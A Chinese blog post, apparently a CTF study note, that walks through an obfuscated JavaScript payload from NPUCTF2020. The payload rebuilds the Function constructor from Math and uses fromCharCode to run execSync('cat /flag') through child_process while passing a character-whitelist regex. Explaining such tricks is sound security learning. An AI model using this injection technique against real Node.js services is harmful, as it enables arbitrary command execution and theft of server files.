0x00 前言
没什么好写的了(其实还有一大堆东西要写,但是太懒),就随便记录点东西。最近也写了挺多JS的文章了,今天就来较为深入的探究一下JS中有哪些可能有用的小技巧吧🤗
0x01 弱类型
弱类型比较
不同数据类型相加
0x02 函数
一个神奇的payload
(Math=>
(Math=Math.constructor,
Math.x=Math.constructor(
Math.fromCharCode(114,101,116,117,114,110,32,112,114,111,
99,101,115,115,46,109,97,105,110,77,111,100,117,108,101,
46,114,101,113,117,105,114,101,40,39,99,104,105,108,100,
95,112,114,111,99,101,115,115,39,41,46,101,120,101,99,83,
121,110,99,40,39,99,97,116,32,47,102,108,97,103,39,41))()
)
)(Math+1)
这个payload匹配(注意要完全匹配而不是绕过才能过if)的正则(反正我是完全看不懂)是:
if (str.replace(/(?:Math(?:\.\w+)?)|[()+\-*/&|^%<>=,?:]|(?:\d+\.?\d*(?:e\d+)?)| /g, '')) {
console.log("失败了")
}
else{
console.log("Real Hacker")
}
解析
首先看Math=>(/**/)(Math+1)
,Math是一个JS中的一个函数,我们先来看看Math=>(/**/)
是什么:
很明显,这样就相当于创建了一个函数,相当于test(Math)
,那Math=>(/**/)(Math+1)
后面的(Math+1)
是什么呢?
如图,其实就是相当于传参,那为什么要传Math+1
,我们先顺着payload看下:
Math=Math.construct
和Math.x=Math.construct
这两行代码是为了构造出Function
,至于为什么是Math.x
和Math+1
,我们待会再说,我们先来看看为什么要构造出Function
。
可以看到是创建了一个匿名函数,然后这个payload只剩Math.fromCharCode(/**/)()
了,可以猜到fromCharCode
是个函数,是从Math
调用的,这也就是上文为什么用的是Math+1
和Math.x
了。使用Math.x
是为了让Math
的值始终等于(Math+1).constructor
,因为fromCharCode
是String()
里特有的
而使用Math+1
也是基于这个原因
虽然用Math.constructor.constructor
也可以调用到Function
,但是并不能愉快的调用到fromCharCode
,所以我们要传入Math+1
。现在这个payload只差那些数字了,将其在控制台输出,结果如下:
可以看到是一个命令执行语句,payload中Math.x=Math.constructor(return ...)()
便创建了一个直接执行的函数,测试如下:
至此,整个payload的分析就结束了…
0x03 参考文章
NPUCTF2020 验证🐎-(弱类型比较、hash绕过、构造函数执行任意代码) | Xiao Leung’s Blog (plasf.cn)